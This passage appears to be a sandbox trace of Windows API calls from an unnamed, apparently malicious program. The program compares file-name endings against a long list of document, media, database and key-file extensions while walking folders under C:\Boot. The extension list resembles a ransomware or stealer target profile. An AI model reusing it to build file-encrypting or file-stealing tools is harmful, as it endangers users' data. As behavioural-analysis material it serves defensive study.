	[0166.971] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0166.971] lstrlenW (lpString=".htm") returned 4
	[0166.971] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0166.971] lstrlenW (lpString=".html") returned 5
	[0166.971] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0166.971] lstrlenW (lpString=".icb") returned 4
	[0166.971] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0166.971] lstrlenW (lpString=".ics") returned 4
	[0166.971] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0166.971] lstrlenW (lpString=".iff") returned 4
	[0166.971] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0166.971] lstrlenW (lpString=".inc") returned 4
	[0166.971] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0166.971] lstrlenW (lpString=".indd") returned 5
	[0166.971] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0166.971] lstrlenW (lpString=".ini") returned 4
	[0166.972] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0166.972] lstrlenW (lpString=".iqy") returned 4
	[0166.972] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0166.972] lstrlenW (lpString=".j2c") returned 4
	[0166.972] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0166.972] lstrlenW (lpString=".j2k") returned 4
	[0166.972] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0166.972] lstrlenW (lpString=".java") returned 5
	[0166.972] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0166.972] lstrlenW (lpString=".jp2") returned 4
	[0166.972] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0166.972] lstrlenW (lpString=".jpc") returned 4
	[0166.972] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0166.972] lstrlenW (lpString=".jpe") returned 4
	[0166.972] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0166.972] lstrlenW (lpString=".jpeg") returned 5
	[0166.972] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0166.972] lstrlenW (lpString=".jpf") returned 4
	[0166.972] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0166.972] lstrlenW (lpString=".jpg") returned 4
	[0166.972] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.972] lstrlenW (lpString=".jpx") returned 4
	[0166.972] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0166.972] lstrlenW (lpString=".js") returned 3
	[0166.972] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0166.972] lstrlenW (lpString=".jsf") returned 4
	[0166.972] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".json") returned 5
	[0166.973] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0166.973] lstrlenW (lpString=".jsp") returned 4
	[0166.973] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".kdc") returned 4
	[0166.973] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".kmz") returned 4
	[0166.973] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".kwm") returned 4
	[0166.973] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".lasso") returned 6
	[0166.973] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0166.973] lstrlenW (lpString=".lbi") returned 4
	[0166.973] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".lgf") returned 4
	[0166.973] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".lgp") returned 4
	[0166.973] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".log") returned 4
	[0166.973] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".m1v") returned 4
	[0166.973] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".m4a") returned 4
	[0166.973] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".m4v") returned 4
	[0166.973] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0166.973] lstrlenW (lpString=".max") returned 4
	[0166.974] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".md") returned 3
	[0166.974] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0166.974] lstrlenW (lpString=".mda") returned 4
	[0166.974] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".mdb") returned 4
	[0166.974] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".mde") returned 4
	[0166.974] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".mdf") returned 4
	[0166.974] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".mdw") returned 4
	[0166.974] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".mef") returned 4
	[0166.974] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".mft") returned 4
	[0166.974] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".mfw") returned 4
	[0166.974] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".mht") returned 4
	[0166.974] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".mhtml") returned 6
	[0166.974] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0166.974] lstrlenW (lpString=".mka") returned 4
	[0166.974] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0166.974] lstrlenW (lpString=".mkidx") returned 6
	[0166.974] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0166.975] lstrlenW (lpString=".mkv") returned 4
	[0166.975] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0166.975] lstrlenW (lpString=".mos") returned 4
	[0166.975] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0166.975] lstrlenW (lpString=".mov") returned 4
	[0166.975] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0166.975] lstrlenW (lpString=".mp3") returned 4
	[0166.975] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0166.975] lstrlenW (lpString=".mp4") returned 4
	[0166.975] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0166.975] lstrlenW (lpString=".mpeg") returned 5
	[0166.975] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0166.975] lstrlenW (lpString=".mpg") returned 4
	[0166.975] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0166.975] lstrlenW (lpString=".mpv") returned 4
	[0166.975] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0166.975] lstrlenW (lpString=".mrw") returned 4
	[0166.975] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0166.975] lstrlenW (lpString=".msg") returned 4
	[0166.975] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0166.975] lstrlenW (lpString=".mxl") returned 4
	[0166.975] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0166.975] lstrlenW (lpString=".myd") returned 4
	[0166.975] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0166.975] lstrlenW (lpString=".myi") returned 4
	[0166.975] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0166.975] lstrlenW (lpString=".nef") returned 4
	[0166.976] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".nrw") returned 4
	[0166.976] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".obj") returned 4
	[0166.976] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".odb") returned 4
	[0166.976] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".odc") returned 4
	[0166.976] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".odm") returned 4
	[0166.976] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".odp") returned 4
	[0166.976] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".ods") returned 4
	[0166.976] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".oft") returned 4
	[0166.976] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".one") returned 4
	[0166.976] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".onepkg") returned 7
	[0166.976] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0166.976] lstrlenW (lpString=".onetoc2") returned 8
	[0166.976] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0166.976] lstrlenW (lpString=".opt") returned 4
	[0166.976] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0166.976] lstrlenW (lpString=".oqy") returned 4
	[0166.976] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".orf") returned 4
	[0166.977] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".p12") returned 4
	[0166.977] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".p7b") returned 4
	[0166.977] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".p7c") returned 4
	[0166.977] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".pam") returned 4
	[0166.977] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".pbm") returned 4
	[0166.977] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".pct") returned 4
	[0166.977] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".pcx") returned 4
	[0166.977] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".pdd") returned 4
	[0166.977] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".pdf") returned 4
	[0166.977] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".pdp") returned 4
	[0166.977] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".pef") returned 4
	[0166.977] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".pem") returned 4
	[0166.977] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0166.977] lstrlenW (lpString=".pff") returned 4
	[0166.978] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0166.978] lstrlenW (lpString=".pfm") returned 4
	[0166.978] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0166.978] lstrlenW (lpString=".pfx") returned 4
	[0166.978] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0166.978] lstrlenW (lpString=".pgm") returned 4
	[0166.978] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0166.978] lstrlenW (lpString=".php") returned 4
	[0166.978] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0166.978] lstrlenW (lpString=".php3") returned 5
	[0166.978] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0166.978] lstrlenW (lpString=".php4") returned 5
	[0166.978] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0166.978] lstrlenW (lpString=".php5") returned 5
	[0166.978] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0166.978] lstrlenW (lpString=".phtml") returned 6
	[0166.978] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0166.978] lstrlenW (lpString=".pict") returned 5
	[0166.978] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0166.978] lstrlenW (lpString=".pl") returned 3
	[0166.978] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0166.978] lstrlenW (lpString=".pls") returned 4
	[0166.978] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0166.978] lstrlenW (lpString=".pm") returned 3
	[0166.978] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0166.978] lstrlenW (lpString=".png") returned 4
	[0166.978] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0166.979] lstrlenW (lpString=".pnm") returned 4
	[0166.979] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0166.979] lstrlenW (lpString=".pot") returned 4
	[0166.979] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0166.979] lstrlenW (lpString=".potm") returned 5
	[0166.979] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0166.979] lstrlenW (lpString=".potx") returned 5
	[0166.979] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0166.979] lstrlenW (lpString=".ppa") returned 4
	[0166.979] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0166.979] lstrlenW (lpString=".ppam") returned 5
	[0166.979] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0166.979] lstrlenW (lpString=".ppm") returned 4
	[0166.979] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0166.979] lstrlenW (lpString=".pps") returned 4
	[0166.979] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0166.979] lstrlenW (lpString=".ppsm") returned 5
	[0166.979] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0166.979] lstrlenW (lpString=".ppt") returned 4
	[0166.979] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.979] lstrlenW (lpString=".pptm") returned 5
	[0166.979] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0166.979] lstrlenW (lpString=".pptx") returned 5
	[0166.979] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0166.979] lstrlenW (lpString=".prn") returned 4
	[0166.979] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0166.979] lstrlenW (lpString=".ps") returned 3
	[0166.980] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0166.980] lstrlenW (lpString=".psb") returned 4
	[0166.980] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0166.980] lstrlenW (lpString=".psd") returned 4
	[0166.980] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0166.980] lstrlenW (lpString=".pst") returned 4
	[0166.980] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0166.980] lstrlenW (lpString=".ptx") returned 4
	[0166.980] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0166.980] lstrlenW (lpString=".pub") returned 4
	[0166.980] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0166.980] lstrlenW (lpString=".pwm") returned 4
	[0166.980] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0166.980] lstrlenW (lpString=".pxr") returned 4
	[0166.980] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0166.980] lstrlenW (lpString=".py") returned 3
	[0166.980] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0166.980] lstrlenW (lpString=".qt") returned 3
	[0166.980] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0166.980] lstrlenW (lpString=".r3d") returned 4
	[0166.980] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0166.980] lstrlenW (lpString=".raf") returned 4
	[0166.980] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0166.980] lstrlenW (lpString=".rar") returned 4
	[0166.980] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.980] lstrlenW (lpString=".raw") returned 4
	[0166.981] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1
	[0166.981] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x787, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0
	[0166.981] FindClose (in: hFindFile=0x6abe98 | out: hFindFile=0x6abe98) returned 1
	[0166.981] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0166.981] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="en-US", cAlternateFileName="")) returned 0
	[0166.981] FindClose (in: hFindFile=0x6abc98 | out: hFindFile=0x6abc98) returned 1
	[0166.981] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.981] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0166.981] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.981] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abf58
	[0166.982] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.983] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.983] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.983] FindClose (in: hFindFile=0x6abf58 | out: hFindFile=0x6abf58) returned 1
	[0166.983] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.983] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0166.983] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.983] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb98
	[0166.984] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.984] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.984] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.984] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.984] FindClose (in: hFindFile=0x6abb98 | out: hFindFile=0x6abb98) returned 1
	[0166.985] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.985] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0166.985] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.985] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb98
	[0166.985] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.985] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
